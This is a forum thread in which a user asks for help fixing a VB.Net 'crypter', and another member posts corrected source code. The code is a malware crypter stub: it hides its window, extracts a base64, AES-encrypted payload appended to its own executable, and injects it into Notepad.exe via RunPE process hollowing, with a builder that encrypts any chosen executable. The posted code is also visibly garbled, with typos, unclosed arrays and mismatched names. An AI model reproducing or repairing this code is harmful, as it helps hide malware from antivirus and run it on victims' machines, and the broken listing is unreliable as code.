VB.Net errors no clue.

[Skrewdriver]

well im trying to make an crypter on VB.net
i think im doing quite something wrong
1) do it need to be in Console.Application? or in an other Application im now Trying to make it in.
Windows Form Application dont know if that is right cuz couldn't find @ an TuT were to build in it so i just builded in Form.Application well here are 2 screens of my error and my
Text in Form.vb
and got 9)errors of Statement is not valid in namepsace.....????

Photo 1 <<<---- Text in Form1.vb

Spoiler

Photo 2 <<<---- Text in Form1.vb

Spoiler

So i hope somebody can explain me were the error's are comming from and what im doing wrong:gratte::gratte:

Cheers

 

[GAMEKINGZ_mybb_import1105]

Shoot me your msn through pm i will help you tomorrow through teamviewer ok.

 

[Skrewdriver]

Cheers mate

 

[crzyone9584]

To help other users with the same problem I figured I'd post what is happening in your source code. In screen shot 1 you have multiple

Public Form 1 
End Class

Get rid of the second one. So the entire code should look like the following

Public Form1 
Const dyqD = "@DarkSeven46@"
Dim ofd as New OpenFileDialog
Dim sfd as New SaveFileDialog

Private Sub Form_Load(ByVal sender As System.Object, ByVal e as System.EventArgs) Handles Mybase.LoaD
Me.Visible = False
Dim darkseven46() as string = Split(IO.File.ReadAllText(Application.ExecutablePath), dyqD)
Dim File1 as Byte() = Unsecure(Convert.FromBase64string(darkseven46(1)))
System.text.encoding.GetEncoding(1252).GetGytes(darkseven45(1))
Dim Process As String = "C:\Windows\Notepad.exe"
Runpe.Inject(file1,process)
End Sub

Private Sub Button1_Click(ByVal sender as System.Object, ByVal e as System.EventArgs) Handles Button1.Click
With ofd
ofd.DefaultExt = "exe:
ofd.Filter = "Executable Files (*.Exe)|*.Exe"
ofd.Filterbox = 1
ofd.Filtername = ""
If ofd.ShowDialog(Me) = 1 then
Textbox1Text = ofd.FileName
End IF
End With
End Sub

Function Secure (Byval data as Byte)
Using Sa as New System.Security.Cryptography.RijandaelManaged
Sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7,
Sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1, 
Return Sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Lenth)
End Using
End Function

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e as System EventArgs) Handles Button 2.Click
sfd.DefaultExt = "exe"
sfd.Filter = "Executable Files {*.Exe|*.Exe"
If sfd.ShowDialog = Windows.Forms.DialogResults.Ok Then
End IF
Dim File1 as Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
If My.Computer.Filesystem.FileExists(sfd.Filename) Then
My.Computer.FileSystem.DeleteFile(sfd.FileName)
End IF
End Sub
End Class

This should fix some if not all your errors that you had. Sorry if something is mis typed. I typed the entire code in the browser and not in visual studio. If you have any more errors please hit me up on here. I'm more than happy to help.

 

[crzyone9584]

Skrewdriver also had the same class created twice which was giving him/her a few errors. You really only need one class in a windows form code behind file.

 

[RAF]

Trashed: VB.Net errors no clue.

This thread has been trashed, it will be moderated by the Administrators for a further opinion.

 

[RAF]

Trashed: VB.Net errors no clue.

This thread has been verified to be a quality thread and has been moved back into the rightful forum section.

Please contact Management if this was wrongfully done.